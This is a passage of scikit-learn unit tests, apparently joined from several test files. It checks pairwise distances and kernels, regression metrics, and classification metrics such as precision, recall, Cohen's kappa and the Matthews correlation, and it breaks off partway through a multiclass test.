    dist_chunked_ind, dist_chunked_val = pairwise_distances_argmin_min(
        X, Y, axis=0, metric="manhattan", batch_size=50)
    np.testing.assert_almost_equal(dist_orig_ind, dist_chunked_ind, decimal=7)
    np.testing.assert_almost_equal(dist_orig_val, dist_chunked_val, decimal=7)


def test_euclidean_distances():
    # Check the pairwise Euclidean distances computation
    X = [[0]]
    Y = [[1], [2]]
    D = euclidean_distances(X, Y)
    assert_array_almost_equal(D, [[1., 2.]])

    X = csr_matrix(X)
    Y = csr_matrix(Y)
    D = euclidean_distances(X, Y)
    assert_array_almost_equal(D, [[1., 2.]])

    rng = np.random.RandomState(0)
    X = rng.random_sample((10, 4))
    Y = rng.random_sample((20, 4))
    X_norm_sq = (X ** 2).sum(axis=1).reshape(1, -1)
    Y_norm_sq = (Y ** 2).sum(axis=1).reshape(1, -1)

    # check that we still get the right answers with {X,Y}_norm_squared
    D1 = euclidean_distances(X, Y)
    D2 = euclidean_distances(X, Y, X_norm_squared=X_norm_sq)
    D3 = euclidean_distances(X, Y, Y_norm_squared=Y_norm_sq)
    D4 = euclidean_distances(X, Y, X_norm_squared=X_norm_sq,
                             Y_norm_squared=Y_norm_sq)
    assert_array_almost_equal(D2, D1)
    assert_array_almost_equal(D3, D1)
    assert_array_almost_equal(D4, D1)

    # check we get the wrong answer with wrong {X,Y}_norm_squared
    X_norm_sq *= 0.5
    Y_norm_sq *= 0.5
    wrong_D = euclidean_distances(X, Y,
                                  X_norm_squared=np.zeros_like(X_norm_sq),
                                  Y_norm_squared=np.zeros_like(Y_norm_sq))
    assert_greater(np.max(np.abs(wrong_D - D1)), .01)


# Paired distances

def test_paired_euclidean_distances():
    # Check the paired Euclidean distances computation
    X = [[0], [0]]
    Y = [[1], [2]]
    D = paired_euclidean_distances(X, Y)
    assert_array_almost_equal(D, [1., 2.])


def test_paired_manhattan_distances():
    # Check the paired manhattan distances computation
    X = [[0], [0]]
    Y = [[1], [2]]
    D = paired_manhattan_distances(X, Y)
    assert_array_almost_equal(D, [1., 2.])


def test_chi_square_kernel():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    Y = rng.random_sample((10, 4))
    K_add = additive_chi2_kernel(X, Y)
    gamma = 0.1
    K = chi2_kernel(X, Y, gamma=gamma)
    assert_equal(K.dtype, np.float)
    for i, x in enumerate(X):
        for j, y in enumerate(Y):
            chi2 = -np.sum((x - y) ** 2 / (x + y))
            chi2_exp = np.exp(gamma * chi2)
            assert_almost_equal(K_add[i, j], chi2)
            assert_almost_equal(K[i, j], chi2_exp)

    # check diagonal is ones for data with itself
    K = chi2_kernel(Y)
    assert_array_equal(np.diag(K), 1)
    # check off-diagonal is < 1 but > 0:
    assert_true(np.all(K > 0))
    assert_true(np.all(K - np.diag(np.diag(K)) < 1))
    # check that float32 is preserved
    X = rng.random_sample((5, 4)).astype(np.float32)
    Y = rng.random_sample((10, 4)).astype(np.float32)
    K = chi2_kernel(X, Y)
    assert_equal(K.dtype, np.float32)

    # check integer type gets converted,
    # check that zeros are handled
    X = rng.random_sample((10, 4)).astype(np.int32)
    K = chi2_kernel(X, X)
    assert_true(np.isfinite(K).all())
    assert_equal(K.dtype, np.float)

    # check that kernel of similar things is greater than dissimilar ones
    X = [[.3, .7], [1., 0]]
    Y = [[0, 1], [.9, .1]]
    K = chi2_kernel(X, Y)
    assert_greater(K[0, 0], K[0, 1])
    assert_greater(K[1, 1], K[1, 0])

    # test negative input
    assert_raises(ValueError, chi2_kernel, [[0, -1]])
    assert_raises(ValueError, chi2_kernel, [[0, -1]], [[-1, -1]])
    assert_raises(ValueError, chi2_kernel, [[0, 1]], [[-1, -1]])

    # different n_features in X and Y
    assert_raises(ValueError, chi2_kernel, [[0, 1]], [[.2, .2, .6]])

    # sparse matrices
    assert_raises(ValueError, chi2_kernel, csr_matrix(X), csr_matrix(Y))
    assert_raises(ValueError, additive_chi2_kernel,
                  csr_matrix(X), csr_matrix(Y))


def test_kernel_symmetry():
    # Valid kernels should be symmetric
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    for kernel in (linear_kernel, polynomial_kernel, rbf_kernel,
                   laplacian_kernel, sigmoid_kernel, cosine_similarity):
        K = kernel(X, X)
        assert_array_almost_equal(K, K.T, 15)


def test_kernel_sparse():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    X_sparse = csr_matrix(X)
    for kernel in (linear_kernel, polynomial_kernel, rbf_kernel,
                   laplacian_kernel, sigmoid_kernel, cosine_similarity):
        K = kernel(X, X)
        K2 = kernel(X_sparse, X_sparse)
        assert_array_almost_equal(K, K2)


def test_linear_kernel():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    K = linear_kernel(X, X)
    # the diagonal elements of a linear kernel are their squared norm
    assert_array_almost_equal(K.flat[::6], [linalg.norm(x) ** 2 for x in X])


def test_rbf_kernel():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    K = rbf_kernel(X, X)
    # the diagonal elements of a rbf kernel are 1
    assert_array_almost_equal(K.flat[::6], np.ones(5))


def test_laplacian_kernel():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    K = laplacian_kernel(X, X)
    # the diagonal elements of a laplacian kernel are 1
    assert_array_almost_equal(np.diag(K), np.ones(5))

    # off-diagonal elements are < 1 but > 0:
    assert_true(np.all(K > 0))
    assert_true(np.all(K - np.diag(np.diag(K)) < 1))


def test_cosine_similarity_sparse_output():
    # Test if cosine_similarity correctly produces sparse output.

    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    Y = rng.random_sample((3, 4))
    Xcsr = csr_matrix(X)
    Ycsr = csr_matrix(Y)

    K1 = cosine_similarity(Xcsr, Ycsr, dense_output=False)
    assert_true(issparse(K1))

    K2 = pairwise_kernels(Xcsr, Y=Ycsr, metric="cosine")
    assert_array_almost_equal(K1.todense(), K2)


def test_cosine_similarity():
    # Test the cosine_similarity.

    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    Y = rng.random_sample((3, 4))
    Xcsr = csr_matrix(X)
    Ycsr = csr_matrix(Y)

    for X_, Y_ in ((X, None), (X, Y),
                   (Xcsr, None), (Xcsr, Ycsr)):
        # Test that the cosine is kernel is equal to a linear kernel when data
        # has been previously normalized by L2-norm.
        K1 = pairwise_kernels(X_, Y=Y_, metric="cosine")
        X_ = normalize(X_)
        if Y_ is not None:
            Y_ = normalize(Y_)
        K2 = pairwise_kernels(X_, Y=Y_, metric="linear")
        assert_array_almost_equal(K1, K2)


def test_check_dense_matrices():
    # Ensure that pairwise array check works for dense matrices.
    # Check that if XB is None, XB is returned as reference to XA
    XA = np.resize(np.arange(40), (5, 8))
    XA_checked, XB_checked = check_pairwise_arrays(XA, None)
    assert_true(XA_checked is XB_checked)
    assert_array_equal(XA, XA_checked)


def test_check_XB_returned():
    # Ensure that if XA and XB are given correctly, they return as equal.
    # Check that if XB is not None, it is returned equal.
    # Note that the second dimension of XB is the same as XA.
    XA = np.resize(np.arange(40), (5, 8))
    XB = np.resize(np.arange(32), (4, 8))
    XA_checked, XB_checked = check_pairwise_arrays(XA, XB)
    assert_array_equal(XA, XA_checked)
    assert_array_equal(XB, XB_checked)

    XB = np.resize(np.arange(40), (5, 8))
    XA_checked, XB_checked = check_paired_arrays(XA, XB)
    assert_array_equal(XA, XA_checked)
    assert_array_equal(XB, XB_checked)


def test_check_different_dimensions():
    # Ensure an error is raised if the dimensions are different.
    XA = np.resize(np.arange(45), (5, 9))
    XB = np.resize(np.arange(32), (4, 8))
    assert_raises(ValueError, check_pairwise_arrays, XA, XB)

    XB = np.resize(np.arange(4 * 9), (4, 9))
    assert_raises(ValueError, check_paired_arrays, XA, XB)


def test_check_invalid_dimensions():
    # Ensure an error is raised on 1D input arrays.
    # The modified tests are not 1D. In the old test, the array was internally
    # converted to 2D anyways
    XA = np.arange(45).reshape(9, 5)
    XB = np.arange(32).reshape(4, 8)
    assert_raises(ValueError, check_pairwise_arrays, XA, XB)
    XA = np.arange(45).reshape(9, 5)
    XB = np.arange(32).reshape(4, 8)
    assert_raises(ValueError, check_pairwise_arrays, XA, XB)


def test_check_sparse_arrays():
    # Ensures that checks return valid sparse matrices.
    rng = np.random.RandomState(0)
    XA = rng.random_sample((5, 4))
    XA_sparse = csr_matrix(XA)
    XB = rng.random_sample((5, 4))
    XB_sparse = csr_matrix(XB)
    XA_checked, XB_checked = check_pairwise_arrays(XA_sparse, XB_sparse)
    # compare their difference because testing csr matrices for
    # equality with '==' does not work as expected.
    assert_true(issparse(XA_checked))
    assert_equal(abs(XA_sparse - XA_checked).sum(), 0)
    assert_true(issparse(XB_checked))
    assert_equal(abs(XB_sparse - XB_checked).sum(), 0)

    XA_checked, XA_2_checked = check_pairwise_arrays(XA_sparse, XA_sparse)
    assert_true(issparse(XA_checked))
    assert_equal(abs(XA_sparse - XA_checked).sum(), 0)
    assert_true(issparse(XA_2_checked))
    assert_equal(abs(XA_2_checked - XA_checked).sum(), 0)


def tuplify(X):
    # Turns a numpy matrix (any n-dimensional array) into tuples.
    s = X.shape
    if len(s) > 1:
        # Tuplify each sub-array in the input.
        return tuple(tuplify(row) for row in X)
    else:
        # Single dimension input, just return tuple of contents.
        return tuple(r for r in X)


def test_check_tuple_input():
    # Ensures that checks return valid tuples.
    rng = np.random.RandomState(0)
    XA = rng.random_sample((5, 4))
    XA_tuples = tuplify(XA)
    XB = rng.random_sample((5, 4))
    XB_tuples = tuplify(XB)
    XA_checked, XB_checked = check_pairwise_arrays(XA_tuples, XB_tuples)
    assert_array_equal(XA_tuples, XA_checked)
    assert_array_equal(XB_tuples, XB_checked)


def test_check_preserve_type():
    # Ensures that type float32 is preserved.
    XA = np.resize(np.arange(40), (5, 8)).astype(np.float32)
    XB = np.resize(np.arange(40), (5, 8)).astype(np.float32)

    XA_checked, XB_checked = check_pairwise_arrays(XA, None)
    assert_equal(XA_checked.dtype, np.float32)

    # both float32
    XA_checked, XB_checked = check_pairwise_arrays(XA, XB)
    assert_equal(XA_checked.dtype, np.float32)
    assert_equal(XB_checked.dtype, np.float32)

    # mismatched A
    XA_checked, XB_checked = check_pairwise_arrays(XA.astype(np.float),
                                                   XB)
    assert_equal(XA_checked.dtype, np.float)
    assert_equal(XB_checked.dtype, np.float)

    # mismatched B
    XA_checked, XB_checked = check_pairwise_arrays(XA,
                                                   XB.astype(np.float))
    assert_equal(XA_checked.dtype, np.float)
    assert_equal(XB_checked.dtype, np.float)






from __future__ import division, print_function

import numpy as np
from itertools import product

from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal

from sklearn.metrics import explained_variance_score
from sklearn.metrics import mean_absolute_error
from sklearn.metrics import mean_squared_error
from sklearn.metrics import median_absolute_error
from sklearn.metrics import r2_score

from sklearn.metrics.regression import _check_reg_targets


def test_regression_metrics(n_samples=50):
    y_true = np.arange(n_samples)
    y_pred = y_true + 1

    assert_almost_equal(mean_squared_error(y_true, y_pred), 1.)
    assert_almost_equal(mean_absolute_error(y_true, y_pred), 1.)
    assert_almost_equal(median_absolute_error(y_true, y_pred), 1.)
    assert_almost_equal(r2_score(y_true, y_pred),  0.995, 2)
    assert_almost_equal(explained_variance_score(y_true, y_pred), 1.)


def test_multioutput_regression():
    y_true = np.array([[1, 0, 0, 1], [0, 1, 1, 1], [1, 1, 0, 1]])
    y_pred = np.array([[0, 0, 0, 1], [1, 0, 1, 1], [0, 0, 0, 1]])

    error = mean_squared_error(y_true, y_pred)
    assert_almost_equal(error, (1. / 3 + 2. / 3 + 2. / 3) / 4.)

    # mean_absolute_error and mean_squared_error are equal because
    # it is a binary problem.
    error = mean_absolute_error(y_true, y_pred)
    assert_almost_equal(error, (1. / 3 + 2. / 3 + 2. / 3) / 4.)

    error = r2_score(y_true, y_pred, multioutput='variance_weighted')
    assert_almost_equal(error, 1. - 5. / 2)
    error = r2_score(y_true, y_pred, multioutput='uniform_average')
    assert_almost_equal(error, -.875)



def test_regression_metrics_at_limits():
    assert_almost_equal(mean_squared_error([0.], [0.]), 0.00, 2)
    assert_almost_equal(mean_absolute_error([0.], [0.]), 0.00, 2)
    assert_almost_equal(median_absolute_error([0.], [0.]), 0.00, 2)
    assert_almost_equal(explained_variance_score([0.], [0.]), 1.00, 2)
    assert_almost_equal(r2_score([0., 1], [0., 1]), 1.00, 2)


def test__check_reg_targets():
    # All of length 3
    EXAMPLES = [
        ("continuous", [1, 2, 3], 1),
        ("continuous", [[1], [2], [3]], 1),
        ("continuous-multioutput", [[1, 1], [2, 2], [3, 1]], 2),
        ("continuous-multioutput", [[5, 1], [4, 2], [3, 1]], 2),
        ("continuous-multioutput", [[1, 3, 4], [2, 2, 2], [3, 1, 1]], 3),
    ]

    for (type1, y1, n_out1), (type2, y2, n_out2) in product(EXAMPLES,
                                                            repeat=2):

        if type1 == type2 and n_out1 == n_out2:
            y_type, y_check1, y_check2, multioutput = _check_reg_targets(
                y1, y2, None)
            assert_equal(type1, y_type)
            if type1 == 'continuous':
                assert_array_equal(y_check1, np.reshape(y1, (-1, 1)))
                assert_array_equal(y_check2, np.reshape(y2, (-1, 1)))
            else:
                assert_array_equal(y_check1, y1)
                assert_array_equal(y_check2, y2)
        else:
            assert_raises(ValueError, _check_reg_targets, y1, y2, None)


def test_regression_multioutput_array():
    y_true = [[1, 2], [2.5, -1], [4.5, 3], [5, 7]]
    y_pred = [[1, 1], [2, -1], [5, 4], [5, 6.5]]

    mse = mean_squared_error(y_true, y_pred, multioutput='raw_values')
    mae = mean_absolute_error(y_true, y_pred, multioutput='raw_values')
    r = r2_score(y_true, y_pred, multioutput='raw_values')
    evs = explained_variance_score(y_true, y_pred, multioutput='raw_values')

    assert_array_almost_equal(mse, [0.125, 0.5625], decimal=2)
    assert_array_almost_equal(mae, [0.25, 0.625], decimal=2)
    assert_array_almost_equal(r, [0.95, 0.93], decimal=2)
    assert_array_almost_equal(evs, [0.95, 0.93], decimal=2)

    # mean_absolute_error and mean_squared_error are equal because
    # it is a binary problem.
    y_true = [[0, 0]]*4
    y_pred = [[1, 1]]*4
    mse = mean_squared_error(y_true, y_pred, multioutput='raw_values')
    mae = mean_absolute_error(y_true, y_pred, multioutput='raw_values')
    r = r2_score(y_true, y_pred, multioutput='raw_values')
    assert_array_almost_equal(mse, [1., 1.], decimal=2)
    assert_array_almost_equal(mae, [1., 1.], decimal=2)
    assert_array_almost_equal(r, [0., 0.], decimal=2)

    r = r2_score([[0, -1], [0, 1]], [[2, 2], [1, 1]], multioutput='raw_values')
    assert_array_almost_equal(r, [0, -3.5], decimal=2)
    assert_equal(np.mean(r), r2_score([[0, -1], [0, 1]], [[2, 2], [1, 1]],
                 multioutput='uniform_average'))
    evs = explained_variance_score([[0, -1], [0, 1]], [[2, 2], [1, 1]],
                                   multioutput='raw_values')
    assert_array_almost_equal(evs, [0, -1.25], decimal=2)

    # Checking for the condition in which both numerator and denominator is
    # zero.
    y_true = [[1, 3], [-1, 2]]
    y_pred = [[1, 4], [-1, 1]]
    r2 = r2_score(y_true, y_pred, multioutput='raw_values')
    assert_array_almost_equal(r2, [1., -3.], decimal=2)
    assert_equal(np.mean(r2), r2_score(y_true, y_pred,
                 multioutput='uniform_average'))
    evs = explained_variance_score(y_true, y_pred, multioutput='raw_values')
    assert_array_almost_equal(evs, [1., -3.], decimal=2)
    assert_equal(np.mean(evs), explained_variance_score(y_true, y_pred))


def test_regression_custom_weights():
    y_true = [[1, 2], [2.5, -1], [4.5, 3], [5, 7]]
    y_pred = [[1, 1], [2, -1], [5, 4], [5, 6.5]]

    msew = mean_squared_error(y_true, y_pred, multioutput=[0.4, 0.6])
    maew = mean_absolute_error(y_true, y_pred, multioutput=[0.4, 0.6])
    rw = r2_score(y_true, y_pred, multioutput=[0.4, 0.6])
    evsw = explained_variance_score(y_true, y_pred, multioutput=[0.4, 0.6])

    assert_almost_equal(msew, 0.39, decimal=2)
    assert_almost_equal(maew, 0.475, decimal=3)
    assert_almost_equal(rw, 0.94, decimal=2)
    assert_almost_equal(evsw, 0.94, decimal=2)












from __future__ import division, print_function

import numpy as np
from scipy import linalg
from functools import partial
from itertools import product
import warnings

from sklearn import datasets
from sklearn import svm

from sklearn.datasets import make_multilabel_classification
from sklearn.preprocessing import label_binarize
from sklearn.utils.fixes import np_version
from sklearn.utils.validation import check_random_state

from sklearn.utils.testing import assert_raises, clean_warning_registry
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_no_warnings
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.mocking import MockDataFrame

from sklearn.metrics import accuracy_score
from sklearn.metrics import average_precision_score
from sklearn.metrics import classification_report
from sklearn.metrics import cohen_kappa_score
from sklearn.metrics import confusion_matrix
from sklearn.metrics import f1_score
from sklearn.metrics import fbeta_score
from sklearn.metrics import hamming_loss
from sklearn.metrics import hinge_loss
from sklearn.metrics import jaccard_similarity_score
from sklearn.metrics import log_loss
from sklearn.metrics import matthews_corrcoef
from sklearn.metrics import precision_recall_fscore_support
from sklearn.metrics import precision_score
from sklearn.metrics import recall_score
from sklearn.metrics import zero_one_loss
from sklearn.metrics import brier_score_loss


from sklearn.metrics.classification import _check_targets
from sklearn.exceptions import UndefinedMetricWarning

from scipy.spatial.distance import hamming as sp_hamming

###############################################################################
# Utilities for testing


def make_prediction(dataset=None, binary=False):
    """Make some classification predictions on a toy dataset using a SVC

    If binary is True restrict to a binary classification problem instead of a
    multiclass classification problem
    """

    if dataset is None:
        # import some data to play with
        dataset = datasets.load_iris()

    X = dataset.data
    y = dataset.target

    if binary:
        # restrict to a binary classification task
        X, y = X[y < 2], y[y < 2]

    n_samples, n_features = X.shape
    p = np.arange(n_samples)

    rng = check_random_state(37)
    rng.shuffle(p)
    X, y = X[p], y[p]
    half = int(n_samples / 2)

    # add noisy features to make the problem harder and avoid perfect results
    rng = np.random.RandomState(0)
    X = np.c_[X, rng.randn(n_samples, 200 * n_features)]

    # run classifier, get class probabilities and label predictions
    clf = svm.SVC(kernel='linear', probability=True, random_state=0)
    probas_pred = clf.fit(X[:half], y[:half]).predict_proba(X[half:])

    if binary:
        # only interested in probabilities of the positive case
        # XXX: do we really want a special API for the binary case?
        probas_pred = probas_pred[:, 1]

    y_pred = clf.predict(X[half:])
    y_true = y[half:]
    return y_true, y_pred, probas_pred


###############################################################################
# Tests


def test_multilabel_accuracy_score_subset_accuracy():
    # Dense label indicator matrix format
    y1 = np.array([[0, 1, 1], [1, 0, 1]])
    y2 = np.array([[0, 0, 1], [1, 0, 1]])

    assert_equal(accuracy_score(y1, y2), 0.5)
    assert_equal(accuracy_score(y1, y1), 1)
    assert_equal(accuracy_score(y2, y2), 1)
    assert_equal(accuracy_score(y2, np.logical_not(y2)), 0)
    assert_equal(accuracy_score(y1, np.logical_not(y1)), 0)
    assert_equal(accuracy_score(y1, np.zeros(y1.shape)), 0)
    assert_equal(accuracy_score(y2, np.zeros(y1.shape)), 0)


def test_precision_recall_f1_score_binary():
    # Test Precision Recall and F1 Score for binary classification task
    y_true, y_pred, _ = make_prediction(binary=True)

    # detailed measures for each class
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred, average=None)
    assert_array_almost_equal(p, [0.73, 0.85], 2)
    assert_array_almost_equal(r, [0.88, 0.68], 2)
    assert_array_almost_equal(f, [0.80, 0.76], 2)
    assert_array_equal(s, [25, 25])

    # individual scoring function that can be used for grid search: in the
    # binary class case the score is the value of the measure for the positive
    # class (e.g. label == 1). This is deprecated for average != 'binary'.
    assert_dep_warning = partial(assert_warns, DeprecationWarning)
    for kwargs, my_assert in [({}, assert_no_warnings),
                              ({'average': 'binary'}, assert_no_warnings),
                              ({'average': 'micro'}, assert_dep_warning)]:
        ps = my_assert(precision_score, y_true, y_pred, **kwargs)
        assert_array_almost_equal(ps, 0.85, 2)

        rs = my_assert(recall_score, y_true, y_pred, **kwargs)
        assert_array_almost_equal(rs, 0.68, 2)

        fs = my_assert(f1_score, y_true, y_pred, **kwargs)
        assert_array_almost_equal(fs, 0.76, 2)

        assert_almost_equal(my_assert(fbeta_score, y_true, y_pred, beta=2,
                                      **kwargs),
                            (1 + 2 ** 2) * ps * rs / (2 ** 2 * ps + rs), 2)


def test_precision_recall_f_binary_single_class():
    # Test precision, recall and F1 score behave with a single positive or
    # negative class
    # Such a case may occur with non-stratified cross-validation
    assert_equal(1., precision_score([1, 1], [1, 1]))
    assert_equal(1., recall_score([1, 1], [1, 1]))
    assert_equal(1., f1_score([1, 1], [1, 1]))

    assert_equal(0., precision_score([-1, -1], [-1, -1]))
    assert_equal(0., recall_score([-1, -1], [-1, -1]))
    assert_equal(0., f1_score([-1, -1], [-1, -1]))


@ignore_warnings
def test_precision_recall_f_extra_labels():
    # Test handling of explicit additional (not in input) labels to PRF
    y_true = [1, 3, 3, 2]
    y_pred = [1, 1, 3, 2]
    y_true_bin = label_binarize(y_true, classes=np.arange(5))
    y_pred_bin = label_binarize(y_pred, classes=np.arange(5))
    data = [(y_true, y_pred),
            (y_true_bin, y_pred_bin)]

    for i, (y_true, y_pred) in enumerate(data):
        # No average: zeros in array
        actual = recall_score(y_true, y_pred, labels=[0, 1, 2, 3, 4],
                              average=None)
        assert_array_almost_equal([0., 1., 1., .5, 0.], actual)

        # Macro average is changed
        actual = recall_score(y_true, y_pred, labels=[0, 1, 2, 3, 4],
                              average='macro')
        assert_array_almost_equal(np.mean([0., 1., 1., .5, 0.]), actual)

        # No effect otheriwse
        for average in ['micro', 'weighted', 'samples']:
            if average == 'samples' and i == 0:
                continue
            assert_almost_equal(recall_score(y_true, y_pred,
                                             labels=[0, 1, 2, 3, 4],
                                             average=average),
                                recall_score(y_true, y_pred, labels=None,
                                             average=average))

    # Error when introducing invalid label in multilabel case
    # (although it would only affect performance if average='macro'/None)
    for average in [None, 'macro', 'micro', 'samples']:
        assert_raises(ValueError, recall_score, y_true_bin, y_pred_bin,
                      labels=np.arange(6), average=average)
        assert_raises(ValueError, recall_score, y_true_bin, y_pred_bin,
                      labels=np.arange(-1, 4), average=average)


@ignore_warnings
def test_precision_recall_f_ignored_labels():
    # Test a subset of labels may be requested for PRF
    y_true = [1, 1, 2, 3]
    y_pred = [1, 3, 3, 3]
    y_true_bin = label_binarize(y_true, classes=np.arange(5))
    y_pred_bin = label_binarize(y_pred, classes=np.arange(5))
    data = [(y_true, y_pred),
            (y_true_bin, y_pred_bin)]

    for i, (y_true, y_pred) in enumerate(data):
        recall_13 = partial(recall_score, y_true, y_pred, labels=[1, 3])
        recall_all = partial(recall_score, y_true, y_pred, labels=None)

        assert_array_almost_equal([.5, 1.], recall_13(average=None))
        assert_almost_equal((.5 + 1.) / 2, recall_13(average='macro'))
        assert_almost_equal((.5 * 2 + 1. * 1) / 3,
                            recall_13(average='weighted'))
        assert_almost_equal(2. / 3, recall_13(average='micro'))

        # ensure the above were meaningful tests:
        for average in ['macro', 'weighted', 'micro']:
            assert_not_equal(recall_13(average=average),
                             recall_all(average=average))


def test_average_precision_score_score_non_binary_class():
    # Test that average_precision_score function returns an error when trying
    # to compute average_precision_score for multiclass task.
    rng = check_random_state(404)
    y_pred = rng.rand(10)

    # y_true contains three different class values
    y_true = rng.randint(0, 3, size=10)
    assert_raise_message(ValueError, "multiclass format is not supported",
                         average_precision_score, y_true, y_pred)


def test_average_precision_score_duplicate_values():
    # Duplicate values with precision-recall require a different
    # processing than when computing the AUC of a ROC, because the
    # precision-recall curve is a decreasing curve
    # The following situation corresponds to a perfect
    # test statistic, the average_precision_score should be 1
    y_true = [0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1]
    y_score = [0, .1, .1, .4, .5, .6, .6, .9, .9, 1, 1]
    assert_equal(average_precision_score(y_true, y_score), 1)


def test_average_precision_score_tied_values():
    # Here if we go from left to right in y_true, the 0 values are
    # are separated from the 1 values, so it appears that we've
    # Correctly sorted our classifications. But in fact the first two
    # values have the same score (0.5) and so the first two values
    # could be swapped around, creating an imperfect sorting. This
    # imperfection should come through in the end score, making it less
    # than one.
    y_true = [0, 1, 1]
    y_score = [.5, .5, .6]
    assert_not_equal(average_precision_score(y_true, y_score), 1.)


@ignore_warnings
def test_precision_recall_fscore_support_errors():
    y_true, y_pred, _ = make_prediction(binary=True)

    # Bad beta
    assert_raises(ValueError, precision_recall_fscore_support,
                  y_true, y_pred, beta=0.0)

    # Bad pos_label
    assert_raises(ValueError, precision_recall_fscore_support,
                  y_true, y_pred, pos_label=2, average='macro')

    # Bad average option
    assert_raises(ValueError, precision_recall_fscore_support,
                  [0, 1, 2], [1, 2, 0], average='mega')


def test_confusion_matrix_binary():
    # Test confusion matrix - binary classification case
    y_true, y_pred, _ = make_prediction(binary=True)

    def test(y_true, y_pred):
        cm = confusion_matrix(y_true, y_pred)
        assert_array_equal(cm, [[22, 3], [8, 17]])

        tp, fp, fn, tn = cm.flatten()
        num = (tp * tn - fp * fn)
        den = np.sqrt((tp + fp) * (tp + fn) * (tn + fp) * (tn + fn))

        true_mcc = 0 if den == 0 else num / den
        mcc = matthews_corrcoef(y_true, y_pred)
        assert_array_almost_equal(mcc, true_mcc, decimal=2)
        assert_array_almost_equal(mcc, 0.57, decimal=2)

    test(y_true, y_pred)
    test([str(y) for y in y_true],
         [str(y) for y in y_pred])


def test_cohen_kappa():
    # These label vectors reproduce the contingency matrix from Artstein and
    # Poesio (2008), Table 1: np.array([[20, 20], [10, 50]]).
    y1 = np.array([0] * 40 + [1] * 60)
    y2 = np.array([0] * 20 + [1] * 20 + [0] * 10 + [1] * 50)
    kappa = cohen_kappa_score(y1, y2)
    assert_almost_equal(kappa, .348, decimal=3)
    assert_equal(kappa, cohen_kappa_score(y2, y1))

    # Add spurious labels and ignore them.
    y1 = np.append(y1, [2] * 4)
    y2 = np.append(y2, [2] * 4)
    assert_equal(cohen_kappa_score(y1, y2, labels=[0, 1]), kappa)

    assert_almost_equal(cohen_kappa_score(y1, y1), 1.)

    # Multiclass example: Artstein and Poesio, Table 4.
    y1 = np.array([0] * 46 + [1] * 44 + [2] * 10)
    y2 = np.array([0] * 52 + [1] * 32 + [2] * 16)
    assert_almost_equal(cohen_kappa_score(y1, y2), .8013, decimal=4)

    # Weighting example: none, linear, quadratic.
    y1 = np.array([0] * 46 + [1] * 44 + [2] * 10)
    y2 = np.array([0] * 50 + [1] * 40 + [2] * 10)
    assert_almost_equal(cohen_kappa_score(y1, y2), .9315, decimal=4)
    assert_almost_equal(cohen_kappa_score(y1, y2, weights="linear"), .9412, decimal=4)
    assert_almost_equal(cohen_kappa_score(y1, y2, weights="quadratic"), .9541, decimal=4)


@ignore_warnings
def test_matthews_corrcoef_nan():
    assert_equal(matthews_corrcoef([0], [1]), 0.0)
    assert_equal(matthews_corrcoef([0, 0], [0, 1]), 0.0)


def test_matthews_corrcoef_against_numpy_corrcoef():
    rng = np.random.RandomState(0)
    y_true = rng.randint(0, 2, size=20)
    y_pred = rng.randint(0, 2, size=20)

    assert_almost_equal(matthews_corrcoef(y_true, y_pred),
                        np.corrcoef(y_true, y_pred)[0, 1], 10)


def test_matthews_corrcoef():
    rng = np.random.RandomState(0)
    y_true = ["a" if i == 0 else "b" for i in rng.randint(0, 2, size=20)]

    # corrcoef of same vectors must be 1
    assert_almost_equal(matthews_corrcoef(y_true, y_true), 1.0)

    # corrcoef, when the two vectors are opposites of each other, should be -1
    y_true_inv = ["b" if i == "a" else "a" for i in y_true]

    assert_almost_equal(matthews_corrcoef(y_true, y_true_inv), -1)
    y_true_inv2 = label_binarize(y_true, ["a", "b"]) * -1
    assert_almost_equal(matthews_corrcoef(y_true, y_true_inv2), -1)

    # For the zero vector case, the corrcoef cannot be calculated and should
    # result in a RuntimeWarning
    mcc = assert_warns_message(RuntimeWarning, 'invalid value encountered',
                               matthews_corrcoef, [0, 0, 0, 0], [0, 0, 0, 0])

    # But will output 0
    assert_almost_equal(mcc, 0.)

    # And also for any other vector with 0 variance
    mcc = assert_warns_message(RuntimeWarning, 'invalid value encountered',
                               matthews_corrcoef, y_true,
                               rng.randint(-100, 100) * np.ones(20, dtype=int))

    # But will output 0
    assert_almost_equal(mcc, 0.)

    # These two vectors have 0 correlation and hence mcc should be 0
    y_1 = [1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1]
    y_2 = [1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1]
    assert_almost_equal(matthews_corrcoef(y_1, y_2), 0.)

    # Check that sample weight is able to selectively exclude
    mask = [1] * 10 + [0] * 10
    # Now the first half of the vector elements are alone given a weight of 1
    # and hence the mcc will not be a perfect 0 as in the previous case
    assert_raises(AssertionError, assert_almost_equal,
                  matthews_corrcoef(y_1, y_2, sample_weight=mask), 0.)


def test_precision_recall_f1_score_multiclass():
    # Test Precision Recall and F1 Score for multiclass classification task
    y_true, y_pred, _ = make_prediction(binary=False)

    # compute scores with default labels introspection
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred, average=None)
    assert_array_almost_equal(p, [0.83, 0.33, 0.42], 2)
    assert_array_almost_equal(r, [0.79, 0.09, 0.90], 2)
    assert_array_almost_equal(f, [0.81, 0.15, 0.57], 2)
    assert_array_equal(s, [24, 31, 20])

    # averaging tests
